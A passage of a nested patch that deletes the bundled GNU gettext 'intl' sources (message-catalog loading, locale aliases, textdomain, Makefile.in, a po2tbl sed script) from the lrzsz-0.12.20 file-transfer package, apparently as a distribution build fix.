+-extern int _nl_explode_name PARAMS ((char *name, const char **language,
+- const char **modifier,
+- const char **territory,
+- const char **codeset,
+- const char **normalized_codeset,
+- const char **special,
+- const char **sponsor,
+- const char **revision));
+diff -uprN clean/lrzsz-0.12.20/intl/loadmsgcat.c lrzsz-0.12.20/intl/loadmsgcat.c
+--- clean/lrzsz-0.12.20/intl/loadmsgcat.c 1998-04-26 14:22:37.000000000 +0100
++++ lrzsz-0.12.20/intl/loadmsgcat.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,199 +0,0 @@
+-/* Load needed message catalogs
+- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#include <fcntl.h>
+-#include <sys/types.h>
+-#include <sys/stat.h>
+-
+-#if defined STDC_HEADERS || defined _LIBC
+-# include <stdlib.h>
+-#endif
+-
+-#if defined HAVE_UNISTD_H || defined _LIBC
+-# include <unistd.h>
+-#endif
+-
+-#if (defined HAVE_MMAP && defined HAVE_MUNMAP) || defined _LIBC
+-# include <sys/mman.h>
+-#endif
+-
+-#include "gettext.h"
+-#include "gettextP.h"
+-
+-/* @@ end of prolog @@ */
+-
+-#ifdef _LIBC
+-/* Rename the non ISO C functions. This is required by the standard
+- because some ISO C functions will require linking with this object
+- file and the name space must not be polluted. */
+-# define fstat __fstat
+-# define open __open
+-# define close __close
+-# define read __read
+-# define mmap __mmap
+-# define munmap __munmap
+-#endif
+-
+-/* We need a sign, whether a new catalog was loaded, which can be associated
+- with all translations. This is important if the translations are
+- cached by one of GCC's features. */
+-int _nl_msg_cat_cntr = 0;
+-
+-
+-/* Load the message catalogs specified by FILENAME. If it is no valid
+- message catalog do nothing. */
+-void
+-_nl_load_domain (domain_file)
+- struct loaded_l10nfile *domain_file;
+-{
+- int fd;
+- struct stat st;
+- struct mo_file_header *data = (struct mo_file_header *) -1;
+-#if (defined HAVE_MMAP && defined HAVE_MUNMAP && !defined DISALLOW_MMAP) \
+- || defined _LIBC
+- int use_mmap = 0;
+-#endif
+- struct loaded_domain *domain;
+-
+- domain_file->decided = 1;
+- domain_file->data = NULL;
+-
+- /* If the record does not represent a valid locale the FILENAME
+- might be NULL. This can happen when according to the given
+- specification the locale file name is different for XPG and CEN
+- syntax. */
+- if (domain_file->filename == NULL)
+- return;
+-
+- /* Try to open the addressed file. */
+- fd = open (domain_file->filename, O_RDONLY);
+- if (fd == -1)
+- return;
+-
+- /* We must know about the size of the file. */
+- if (fstat (fd, &st) != 0
+- && st.st_size < (off_t) sizeof (struct mo_file_header))
+- {
+- /* Something went wrong. */
+- close (fd);
+- return;
+- }
+-
+-#if (defined HAVE_MMAP && defined HAVE_MUNMAP && !defined DISALLOW_MMAP) \
+- || defined _LIBC
+- /* Now we are ready to load the file. If mmap() is available we try
+- this first. If not available or it failed we try to load it. */
+- data = (struct mo_file_header *) mmap (NULL, st.st_size, PROT_READ,
+- MAP_PRIVATE, fd, 0);
+-
+- if (data != (struct mo_file_header *) -1)
+- {
+- /* mmap() call was successful. */
+- close (fd);
+- use_mmap = 1;
+- }
+-#endif
+-
+- /* If the data is not yet available (i.e. mmap'ed) we try to load
+- it manually. */
+- if (data == (struct mo_file_header *) -1)
+- {
+- off_t to_read;
+- char *read_ptr;
+-
+- data = (struct mo_file_header *) malloc (st.st_size);
+- if (data == NULL)
+- return;
+-
+- to_read = st.st_size;
+- read_ptr = (char *) data;
+- do
+- {
+- long int nb = (long int) read (fd, read_ptr, to_read);
+- if (nb == -1)
+- {
+- close (fd);
+- return;
+- }
+-
+- read_ptr += nb;
+- to_read -= nb;
+- }
+- while (to_read > 0);
+-
+- close (fd);
+- }
+-
+- /* Using the magic number we can test whether it really is a message
+- catalog file. */
+- if (data->magic != _MAGIC && data->magic != _MAGIC_SWAPPED)
+- {
+- /* The magic number is wrong: not a message catalog file. */
+-#if (defined HAVE_MMAP && defined HAVE_MUNMAP && !defined DISALLOW_MMAP) \
+- || defined _LIBC
+- if (use_mmap)
+- munmap ((caddr_t) data, st.st_size);
+- else
+-#endif
+- free (data);
+- return;
+- }
+-
+- domain_file->data
+- = (struct loaded_domain *) malloc (sizeof (struct loaded_domain));
+- if (domain_file->data == NULL)
+- return;
+-
+- domain = (struct loaded_domain *) domain_file->data;
+- domain->data = (char *) data;
+- domain->must_swap = data->magic != _MAGIC;
+-
+- /* Fill in the information about the available tables. */
+- switch (W (domain->must_swap, data->revision))
+- {
+- case 0:
+- domain->nstrings = W (domain->must_swap, data->nstrings);
+- domain->orig_tab = (struct string_desc *)
+- ((char *) data + W (domain->must_swap, data->orig_tab_offset));
+- domain->trans_tab = (struct string_desc *)
+- ((char *) data + W (domain->must_swap, data->trans_tab_offset));
+- domain->hash_size = W (domain->must_swap, data->hash_tab_size);
+- domain->hash_tab = (nls_uint32 *)
+- ((char *) data + W (domain->must_swap, data->hash_tab_offset));
+- break;
+- default:
+- /* This is an illegal revision. */
+-#if (defined HAVE_MMAP && defined HAVE_MUNMAP && !defined DISALLOW_MMAP) \
+- || defined _LIBC
+- if (use_mmap)
+- munmap ((caddr_t) data, st.st_size);
+- else
+-#endif
+- free (data);
+- free (domain);
+- domain_file->data = NULL;
+- return;
+- }
+-
+- /* Show that one domain is changed. This might make some cached
+- translations invalid. */
+- ++_nl_msg_cat_cntr;
+-}
+diff -uprN clean/lrzsz-0.12.20/intl/localealias.c lrzsz-0.12.20/intl/localealias.c
+--- clean/lrzsz-0.12.20/intl/localealias.c 1998-04-26 14:22:37.000000000 +0100
++++ lrzsz-0.12.20/intl/localealias.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,378 +0,0 @@
+-/* Handle aliases for locale names
+- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+- Written by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#include <ctype.h>
+-#include <stdio.h>
+-#include <sys/types.h>
+-
+-#ifdef __GNUC__
+-# define alloca __builtin_alloca
+-# define HAVE_ALLOCA 1
+-#else
+-# if defined HAVE_ALLOCA_H || defined _LIBC
+-# include <alloca.h>
+-# else
+-# ifdef _AIX
+- #pragma alloca
+-# else
+-# ifndef alloca
+-char *alloca ();
+-# endif
+-# endif
+-# endif
+-#endif
+-
+-#if defined STDC_HEADERS || defined _LIBC
+-# include <stdlib.h>
+-#else
+-char *getenv ();
+-# ifdef HAVE_MALLOC_H
+-# include <malloc.h>
+-# else
+-void free ();
+-# endif
+-#endif
+-
+-#if defined HAVE_STRING_H || defined _LIBC
+-# ifndef _GNU_SOURCE
+-# define _GNU_SOURCE 1
+-# endif
+-# include <string.h>
+-#else
+-# include <strings.h>
+-# ifndef memcpy
+-# define memcpy(Dst, Src, Num) bcopy (Src, Dst, Num)
+-# endif
+-#endif
+-#if !HAVE_STRCHR && !defined _LIBC
+-# ifndef strchr
+-# define strchr index
+-# endif
+-#endif
+-
+-#include "gettext.h"
+-#include "gettextP.h"
+-
+-/* @@ end of prolog @@ */
+-
+-#ifdef _LIBC
+-/* Rename the non ANSI C functions. This is required by the standard
+- because some ANSI C functions will require linking with this object
+- file and the name space must not be polluted. */
+-# define strcasecmp __strcasecmp
+-#endif
+-
+-
+-/* For those loosing systems which don't have `alloca' we have to add
+- some additional code emulating it. */
+-#ifdef HAVE_ALLOCA
+-/* Nothing has to be done. */
+-# define ADD_BLOCK(list, address) /* nothing */
+-# define FREE_BLOCKS(list) /* nothing */
+-#else
+-struct block_list
+-{
+- void *address;
+- struct block_list *next;
+-};
+-# define ADD_BLOCK(list, addr) \
+- do { \
+- struct block_list *newp = (struct block_list *) malloc (sizeof (*newp)); \
+- /* If we cannot get a free block we cannot add the new element to \
+- the list. */ \
+- if (newp != NULL) { \
+- newp->address = (addr); \
+- newp->next = (list); \
+- (list) = newp; \
+- } \
+- } while (0)
+-# define FREE_BLOCKS(list) \
+- do { \
+- while (list != NULL) { \
+- struct block_list *old = list; \
+- list = list->next; \
+- free (old); \
+- } \
+- } while (0)
+-# undef alloca
+-# define alloca(size) (malloc (size))
+-#endif /* have alloca */
+-
+-
+-struct alias_map
+-{
+- const char *alias;
+- const char *value;
+-};
+-
+-
+-static struct alias_map *map;
+-static size_t nmap = 0;
+-static size_t maxmap = 0;
+-
+-
+-/* Prototypes for local functions. */
+-static size_t read_alias_file PARAMS ((const char *fname, int fname_len));
+-static void extend_alias_table PARAMS ((void));
+-static int alias_compare PARAMS ((const struct alias_map *map1,
+- const struct alias_map *map2));
+-
+-
+-const char *
+-_nl_expand_alias (name)
+- const char *name;
+-{
+- static const char *locale_alias_path = LOCALE_ALIAS_PATH;
+- struct alias_map *retval;
+- size_t added;
+-
+- do
+- {
+- struct alias_map item;
+-
+- item.alias = name;
+-
+- if (nmap > 0)
+- retval = (struct alias_map *) bsearch (&item, map, nmap,
+- sizeof (struct alias_map),
+- (int (*) PARAMS ((const void *,
+- const void *))
+- ) alias_compare);
+- else
+- retval = NULL;
+-
+- /* We really found an alias. Return the value. */
+- if (retval != NULL)
+- return retval->value;
+-
+- /* Perhaps we can find another alias file. */
+- added = 0;
+- while (added == 0 && locale_alias_path[0] != '\0')
+- {
+- const char *start;
+-
+- while (locale_alias_path[0] == ':')
+- ++locale_alias_path;
+- start = locale_alias_path;
+-
+- while (locale_alias_path[0] != '\0' && locale_alias_path[0] != ':')
+- ++locale_alias_path;
+-
+- if (start < locale_alias_path)
+- added = read_alias_file (start, locale_alias_path - start);
+- }
+- }
+- while (added != 0);
+-
+- return NULL;
+-}
+-
+-
+-static size_t
+-read_alias_file (fname, fname_len)
+- const char *fname;
+- int fname_len;
+-{
+-#ifndef HAVE_ALLOCA
+- struct block_list *block_list = NULL;
+-#endif
+- FILE *fp;
+- char *full_fname;
+- size_t added;
+- static const char aliasfile[] = "/locale.alias";
+-
+- full_fname = (char *) alloca (fname_len + sizeof aliasfile);
+- ADD_BLOCK (block_list, full_fname);
+- memcpy (full_fname, fname, fname_len);
+- memcpy (&full_fname[fname_len], aliasfile, sizeof aliasfile);
+-
+- fp = fopen (full_fname, "r");
+- if (fp == NULL)
+- {
+- FREE_BLOCKS (block_list);
+- return 0;
+- }
+-
+- added = 0;
+- while (!feof (fp))
+- {
+- /* It is a reasonable approach to use a fix buffer here because
+- a) we are only interested in the first two fields
+- b) these fields must be usable as file names and so must not
+- be that long
+- */
+- char buf[BUFSIZ];
+- char *alias;
+- char *value;
+- char *cp;
+-
+- if (fgets (buf, BUFSIZ, fp) == NULL)
+- /* EOF reached. */
+- break;
+-
+- cp = buf;
+- /* Ignore leading white space. */
+- while (isspace (cp[0]))
+- ++cp;
+-
+- /* A leading '#' signals a comment line. */
+- if (cp[0] != '\0' && cp[0] != '#')
+- {
+- alias = cp++;
+- while (cp[0] != '\0' && !isspace (cp[0]))
+- ++cp;
+- /* Terminate alias name. */
+- if (cp[0] != '\0')
+- *cp++ = '\0';
+-
+- /* Now look for the beginning of the value. */
+- while (isspace (cp[0]))
+- ++cp;
+-
+- if (cp[0] != '\0')
+- {
+- char *tp;
+- size_t len;
+-
+- value = cp++;
+- while (cp[0] != '\0' && !isspace (cp[0]))
+- ++cp;
+- /* Terminate value. */
+- if (cp[0] == '\n')
+- {
+- /* This has to be done to make the following test
+- for the end of line possible. We are looking for
+- the terminating '\n' which do not overwrite here. */
+- *cp++ = '\0';
+- *cp = '\n';
+- }
+- else if (cp[0] != '\0')
+- *cp++ = '\0';
+-
+- if (nmap >= maxmap)
+- extend_alias_table ();
+-
+- /* We cannot depend on strdup available in the libc. Sigh! */
+- len = strlen (alias) + 1;
+- tp = (char *) malloc (len);
+- if (tp == NULL)
+- {
+- FREE_BLOCKS (block_list);
+- return added;
+- }
+- memcpy (tp, alias, len);
+- map[nmap].alias = tp;
+-
+- len = strlen (value) + 1;
+- tp = (char *) malloc (len);
+- if (tp == NULL)
+- {
+- FREE_BLOCKS (block_list);
+- return added;
+- }
+- memcpy (tp, value, len);
+- map[nmap].value = tp;
+-
+- ++nmap;
+- ++added;
+- }
+- }
+-
+- /* Possibly not the whole line fits into the buffer. Ignore
+- the rest of the line. */
+- while (strchr (cp, '\n') == NULL)
+- {
+- cp = buf;
+- if (fgets (buf, BUFSIZ, fp) == NULL)
+- /* Make sure the inner loop will be left. The outer loop
+- will exit at the `feof' test. */
+- *cp = '\n';
+- }
+- }
+-
+- /* Should we test for ferror()? I think we have to silently ignore
+- errors. --drepper */
+- fclose (fp);
+-
+- if (added > 0)
+- qsort (map, nmap, sizeof (struct alias_map),
+- (int (*) PARAMS ((const void *, const void *))) alias_compare);
+-
+- FREE_BLOCKS (block_list);
+- return added;
+-}
+-
+-
+-static void
+-extend_alias_table ()
+-{
+- size_t new_size;
+- struct alias_map *new_map;
+-
+- new_size = maxmap == 0 ? 100 : 2 * maxmap;
+- new_map = (struct alias_map *) malloc (new_size
+- * sizeof (struct alias_map));
+- if (new_map == NULL)
+- /* Simply don't extend: we don't have any more core. */
+- return;
+-
+- memcpy (new_map, map, nmap * sizeof (struct alias_map));
+-
+- if (maxmap != 0)
+- free (map);
+-
+- map = new_map;
+- maxmap = new_size;
+-}
+-
+-
+-static int
+-alias_compare (map1, map2)
+- const struct alias_map *map1;
+- const struct alias_map *map2;
+-{
+-#if defined _LIBC || defined HAVE_STRCASECMP
+- return strcasecmp (map1->alias, map2->alias);
+-#else
+- const unsigned char *p1 = (const unsigned char *) map1->alias;
+- const unsigned char *p2 = (const unsigned char *) map2->alias;
+- unsigned char c1, c2;
+-
+- if (p1 == p2)
+- return 0;
+-
+- do
+- {
+- /* I know this seems to be odd but the tolower() function in
+- some systems libc cannot handle nonalpha characters. */
+- c1 = isupper (*p1) ? tolower (*p1) : *p1;
+- c2 = isupper (*p2) ? tolower (*p2) : *p2;
+- if (c1 == '\0')
+- break;
+- ++p1;
+- ++p2;
+- }
+- while (c1 == c2);
+-
+- return c1 - c2;
+-#endif
+-}
+diff -uprN clean/lrzsz-0.12.20/intl/Makefile.in lrzsz-0.12.20/intl/Makefile.in
+--- clean/lrzsz-0.12.20/intl/Makefile.in 1998-04-26 14:22:35.000000000 +0100
++++ lrzsz-0.12.20/intl/Makefile.in 1970-01-01 01:00:00.000000000 +0100
+@@ -1,214 +0,0 @@
+-# Makefile for directory with message catalog handling in GNU NLS Utilities.
+-# Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+-#
+-# This program is free software; you can redistribute it and/or modify
+-# it under the terms of the GNU General Public License as published by
+-# the Free Software Foundation; either version 2, or (at your option)
+-# any later version.
+-#
+-# This program is distributed in the hope that it will be useful,
+-# but WITHOUT ANY WARRANTY; without even the implied warranty of
+-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-# GNU General Public License for more details.
+-#
+-# You should have received a copy of the GNU General Public License
+-# along with this program; if not, write to the Free Software
+-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+-
+-PACKAGE = @PACKAGE@
+-VERSION = @VERSION@
+-
+-SHELL = /bin/sh
+-
+-srcdir = @srcdir@
+-top_srcdir = @top_srcdir@
+-top_builddir = ..
+-VPATH = @srcdir@
+-
+-prefix = @prefix@
+-exec_prefix = @exec_prefix@
+-transform = @program_transform_name@
+-libdir = $(exec_prefix)/lib
+-includedir = $(prefix)/include
+-datadir = $(prefix)/@DATADIRNAME@
+-localedir = $(datadir)/locale
+-gnulocaledir = $(prefix)/share/locale
+-gettextsrcdir = @datadir@/gettext/intl
+-aliaspath = $(localedir):.
+-subdir = intl
+-
+-INSTALL = @INSTALL@
+-INSTALL_DATA = @INSTALL_DATA@
+-MKINSTALLDIRS = @MKINSTALLDIRS@
+-
+-l = @l@
+-
+-AR = ar
+-CC = @CC@
+-LIBTOOL = @LIBTOOL@
+-RANLIB = @RANLIB@
+-
+-DEFS = -DLOCALEDIR=\"$(localedir)\" -DGNULOCALEDIR=\"$(gnulocaledir)\" \
+--DLOCALE_ALIAS_PATH=\"$(aliaspath)\" @DEFS@
+-CPPFLAGS = @CPPFLAGS@
+-CFLAGS = @CFLAGS@
+-LDFLAGS = @LDFLAGS@
+-
+-COMPILE = $(CC) -c $(DEFS) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) $(XCFLAGS)
+-
+-HEADERS = $(COMHDRS) libgettext.h loadinfo.h
+-COMHDRS = gettext.h gettextP.h hash-string.h
+-SOURCES = $(COMSRCS) intl-compat.c cat-compat.c
+-COMSRCS = bindtextdom.c dcgettext.c dgettext.c gettext.c \
+-finddomain.c loadmsgcat.c localealias.c textdomain.c l10nflist.c \
+-explodename.c
+-OBJECTS = @INTLOBJS@ bindtextdom.$lo dcgettext.$lo dgettext.$lo gettext.$lo \
+-finddomain.$lo loadmsgcat.$lo localealias.$lo textdomain.$lo l10nflist.$lo \
+-explodename.$lo
+-CATOBJS = cat-compat.$lo ../po/cat-id-tbl.$lo
+-GETTOBJS = intl-compat.$lo
+-DISTFILES.common = ChangeLog Makefile.in linux-msg.sed po2tbl.sed.in \
+-xopen-msg.sed $(HEADERS) $(SOURCES)
+-DISTFILES.normal = VERSION
+-DISTFILES.gettext = libintl.glibc intlh.inst.in
+-
+-.SUFFIXES:
+-.SUFFIXES: .c .o .lo
+-.c.o:
+- $(COMPILE) $<
+-.c.lo:
+- $(LIBTOOL) --mode=compile $(COMPILE) $<
+-
+-INCLUDES = -I.. -I. -I$(top_srcdir)/intl -I$(top_srcdir)/lib
+-
+-all: all-@USE_INCLUDED_LIBINTL@
+-
+-all-yes: libintl.$la intlh.inst
+-all-no:
+-
+-libintl.a: $(OBJECTS)
+- rm -f $@
+- $(AR) cru $@ $(OBJECTS)
+- $(RANLIB) $@
+-
+-libintl.la: $(OBJECTS)
+- $(LIBTOOL) --mode=link $(CC) $(LDFLAGS) -o $@ $(OBJECTS) \
+- -version-info 1:0 -rpath $(libdir)
+-
+-../po/cat-id-tbl.$lo: ../po/cat-id-tbl.c $(top_srcdir)/po/$(PACKAGE).pot
+- cd ../po && $(MAKE) cat-id-tbl.$lo
+-
+-check: all
+-
+-# This installation goal is only used in GNU gettext. Packages which
+-# only use the library should use install instead.
+-
+-# We must not install the libintl.h/libintl.a files if we are on a
+-# system which has the gettext() function in its C library or in a
+-# separate library or use the catgets interface. A special case is
+-# where configure found a previously installed GNU gettext library.
+-# If you want to use the one which comes with this version of the
+-# package, you have to use `configure --with-included-gettext'.
+-install: install-exec install-data
+-install-exec: all
+- if test "$(PACKAGE)" = "gettext" \
+- && test '@INTLOBJS@' = '$(GETTOBJS)'; then \
+- if test -r $(MKINSTALLDIRS); then \
+- $(MKINSTALLDIRS) $(libdir) $(includedir); \
+- else \
+- $(top_srcdir)/mkinstalldirs $(libdir) $(includedir); \
+- fi; \
+- $(INSTALL_DATA) intlh.inst $(includedir)/libintl.h; \
+- $(INSTALL_DATA) libintl.a $(libdir)/libintl.a; \
+- else \
+- : ; \
+- fi
+-install-data: all
+- if test "$(PACKAGE)" = "gettext"; then \
+- if test -r $(MKINSTALLDIRS); then \
+- $(MKINSTALLDIRS) $(gettextsrcdir); \
+- else \
+- $(top_srcdir)/mkinstalldirs $(gettextsrcdir); \
+- fi; \
+- $(INSTALL_DATA) VERSION $(gettextsrcdir)/VERSION; \
+- dists="$(DISTFILES.common)"; \
+- for file in $$dists; do \
+- $(INSTALL_DATA) $(srcdir)/$$file $(gettextsrcdir)/$$file; \
+- done; \
+- else \
+- : ; \
+- fi
+-
+-# Define this as empty until I found a useful application.
+-installcheck:
+-
+-uninstall:
+- dists="$(DISTFILES.common)"; \
+- for file in $$dists; do \
+- rm -f $(gettextsrcdir)/$$file; \
+- done
+-
+-info dvi:
+-
+-$(OBJECTS): ../config.h libgettext.h
+-bindtextdom.$lo finddomain.$lo loadmsgcat.$lo: gettextP.h gettext.h loadinfo.h
+-dcgettext.$lo: gettextP.h gettext.h hash-string.h loadinfo.h
+-
+-tags: TAGS
+-
+-TAGS: $(HEADERS) $(SOURCES)
+- here=`pwd`; cd $(srcdir) && etags -o $$here/TAGS $(HEADERS) $(SOURCES)
+-
+-id: ID
+-
+-ID: $(HEADERS) $(SOURCES)
+- here=`pwd`; cd $(srcdir) && mkid -f$$here/ID $(HEADERS) $(SOURCES)
+-
+-
+-mostlyclean:
+- rm -f *.a *.o *.lo core core.*
+-
+-clean: mostlyclean
+-
+-distclean: clean
+- rm -f Makefile ID TAGS po2msg.sed po2tbl.sed libintl.h
+-
+-maintainer-clean: distclean
+- @echo "This command is intended for maintainers to use;"
+- @echo "it deletes files that may require special tools to rebuild."
+-
+-
+-# GNU gettext needs not contain the file `VERSION' but contains some
+-# other files which should not be distributed in other packages.
+-distdir = ../$(PACKAGE)-$(VERSION)/$(subdir)
+-dist distdir: Makefile $(DISTFILES)
+- if test "$(PACKAGE)" = gettext; then \
+- additional="$(DISTFILES.gettext)"; \
+- else \
+- additional="$(DISTFILES.normal)"; \
+- fi; \
+- for file in $(DISTFILES.common) $$additional; do \
+- ln $(srcdir)/$$file $(distdir) 2> /dev/null \
+- || cp -p $(srcdir)/$$file $(distdir); \
+- done
+-
+-dist-libc:
+- tar zcvf intl-glibc.tar.gz $(COMSRCS) $(COMHDRS) libintl.h.glibc
+-
+-Makefile: Makefile.in ../config.status
+- cd .. \
+- && CONFIG_FILES=$(subdir)/$@ CONFIG_HEADERS= $(SHELL) ./config.status
+-
+-# The dependency for intlh.inst is different in gettext and all other
+-# packages. Because we cannot you GNU make features we have to solve
+-# the problem while rewriting Makefile.in.
+-@GT_YES@intlh.inst: intlh.inst.in ../config.status
+-@GT_YES@ cd .. \
+-@GT_YES@ && CONFIG_FILES=$(subdir)/$@ CONFIG_HEADERS= \
+-@GT_YES@ $(SHELL) ./config.status
+-@GT_NO@.PHONY: intlh.inst
+-@GT_NO@intlh.inst:
+-
+-# Tell versions [3.59,3.63) of GNU make not to export all variables.
+-# Otherwise a system limit (for SysV at least) may be exceeded.
+-.NOEXPORT:
+diff -uprN clean/lrzsz-0.12.20/intl/po2tbl.sed.in lrzsz-0.12.20/intl/po2tbl.sed.in
+--- clean/lrzsz-0.12.20/intl/po2tbl.sed.in 1998-04-26 14:20:52.000000000 +0100
++++ lrzsz-0.12.20/intl/po2tbl.sed.in 1970-01-01 01:00:00.000000000 +0100
+@@ -1,102 +0,0 @@
+-# po2tbl.sed - Convert Uniforum style .po file to lookup table for catgets
+-# Copyright (C) 1995 Free Software Foundation, Inc.
+-# Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
+-#
+-# This program is free software; you can redistribute it and/or modify
+-# it under the terms of the GNU General Public License as published by
+-# the Free Software Foundation; either version 2, or (at your option)
+-# any later version.
+-#
+-# This program is distributed in the hope that it will be useful,
+-# but WITHOUT ANY WARRANTY; without even the implied warranty of
+-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-# GNU General Public License for more details.
+-#
+-# You should have received a copy of the GNU General Public License
+-# along with this program; if not, write to the Free Software
+-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+-#
+-1 {
+- i\
+-/* Automatically generated by po2tbl.sed from @PACKAGE NAME@.pot. */\
+-\
+-#if HAVE_CONFIG_H\
+-# include <config.h>\
+-#endif\
+-\
+-#include "libgettext.h"\
+-\
+-const struct _msg_ent _msg_tbl[] = {
+- h
+- s/.*/0/
+- x
+-}
+-#
+-# Write msgid entries in C array form.
+-#
+-/^msgid/ {
+- s/msgid[ ]*\(".*"\)/ {\1/
+- tb
+-# Append the next line
+- :b
+- N
+-# Look whether second part is continuation line.
+- s/\(.*\)"\(\n\)"\(.*"\)/\1\2\3/
+-# Yes, then branch.
+- ta
+-# Because we assume that the input file correctly formed the line
+-# just read cannot be again be a msgid line. So it's safe to ignore
+-# it.
+- s/\(.*\)\n.*/\1/
+- bc
+-# We found a continuation line. But before printing insert '\'.
+- :a
+- s/\(.*\)\(\n.*\)/\1\\\2/
+- P
+-# We cannot use D here.
+- s/.*\n\(.*\)/\1/
+-# Some buggy seds do not clear the `successful substitution since last ``t'''
+-# flag on `N', so we do a `t' here to clear it.
+- tb
+-# Not reached
+- :c
+- x
+-# The following nice solution is by
+-# Bruno <Haible@ma2s2.mathematik.uni-karlsruhe.de>
+- td
+-# Increment a decimal number in pattern space.
+-# First hide trailing `9' digits.
+- :d
+- s/9\(_*\)$/_\1/
+- td
+-# Assure at least one digit is available.
+- s/^\(_*\)$/0\1/
+-# Increment the last digit.
+- s/8\(_*\)$/9\1/
+- s/7\(_*\)$/8\1/
+- s/6\(_*\)$/7\1/
+- s/5\(_*\)$/6\1/
+- s/4\(_*\)$/5\1/
+- s/3\(_*\)$/4\1/
+- s/2\(_*\)$/3\1/
+- s/1\(_*\)$/2\1/
+- s/0\(_*\)$/1\1/
+-# Convert the hidden `9' digits to `0's.
+- s/_/0/g
+- x
+- G
+- s/\(.*\)\n\([0-9]*\)/\1, \2},/
+- s/\(.*\)"$/\1/
+- p
+-}
+-#
+-# Last line.
+-#
+-$ {
+- i\
+-};\
+-
+- g
+- s/0*\(.*\)/int _msg_tbl_length = \1;/p
+-}
+-d
+diff -uprN clean/lrzsz-0.12.20/intl/textdomain.c lrzsz-0.12.20/intl/textdomain.c
+--- clean/lrzsz-0.12.20/intl/textdomain.c 1998-04-26 14:22:37.000000000 +0100
++++ lrzsz-0.12.20/intl/textdomain.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,106 +0,0 @@
+-/* Implementation of the textdomain(3) function
+- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+- Written by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#if defined STDC_HEADERS || defined _LIBC
+-# include <stdlib.h>
+-#endif
+-
+-#if defined STDC_HEADERS || defined HAVE_STRING_H || defined _LIBC
+-# include <string.h>
+-#else
+-# include <strings.h>
+-# ifndef memcpy
+-# define memcpy(Dst, Src, Num) bcopy (Src, Dst, Num)
+-# endif
+-#endif
+-
+-#ifdef _LIBC
+-# include <libintl.h>
+-#else
+-# include "libgettext.h"
+-#endif
+-
+-/* @@ end of prolog @@ */
+-
+-/* Name of the default text domain. */
+-extern const char _nl_default_default_domain[];
+-
+-/* Default text domain in which entries for gettext(3) are to be found. */
+-extern const char *_nl_current_default_domain;
+-
+-
+-/* Names for the libintl functions are a problem. They must not clash
+- with existing names and they should follow ANSI C. But this source
+- code is also used in GNU C Library where the names have a __
+- prefix. So we have to make a difference here. */
+-#ifdef _LIBC
+-# define TEXTDOMAIN __textdomain
+-# define strdup(str) __strdup (str)
+-#else
+-# define TEXTDOMAIN textdomain__
+-#endif
+-
+-/* Set the current default message catalog to DOMAINNAME.
+- If DOMAINNAME is null, return the current default.
+- If DOMAINNAME is "", reset to the default of "messages". */
+-char *
+-TEXTDOMAIN (domainname)
+- const char *domainname;
+-{
+- char *old;
+-
+- /* A NULL pointer requests the current setting. */
+- if (domainname == NULL)
+- return (char *) _nl_current_default_domain;
+-
+- old = (char *) _nl_current_default_domain;
+-
+- /* If domain name is the null string set to default domain "messages". */
+- if (domainname[0] == '\0'
+- || strcmp (domainname, _nl_default_default_domain) == 0)
+- _nl_current_default_domain = _nl_default_default_domain;
+- else
+- {
+- /* If the following malloc fails `_nl_current_default_domain'
+- will be NULL. This value will be returned and so signals we
+- are out of core. */
+-#if defined _LIBC || defined HAVE_STRDUP
+- _nl_current_default_domain = strdup (domainname);
+-#else
+- size_t len = strlen (domainname) + 1;
+- char *cp = (char *) malloc (len);
+- if (cp != NULL)
+- memcpy (cp, domainname, len);
+- _nl_current_default_domain = cp;
+-#endif
+- }
+-
+- if (old != _nl_default_default_domain)
+- free (old);
+-
+- return (char *) _nl_current_default_domain;
+-}
+-
+-#ifdef _LIBC
+-/* Alias for function name in GNU C Library. */
+-weak_alias (__textdomain, textdomain);
+-#endif
+diff -uprN clean/lrzsz-0.12.20/intl/VERSION lrzsz-0.12.20/intl/VERSION
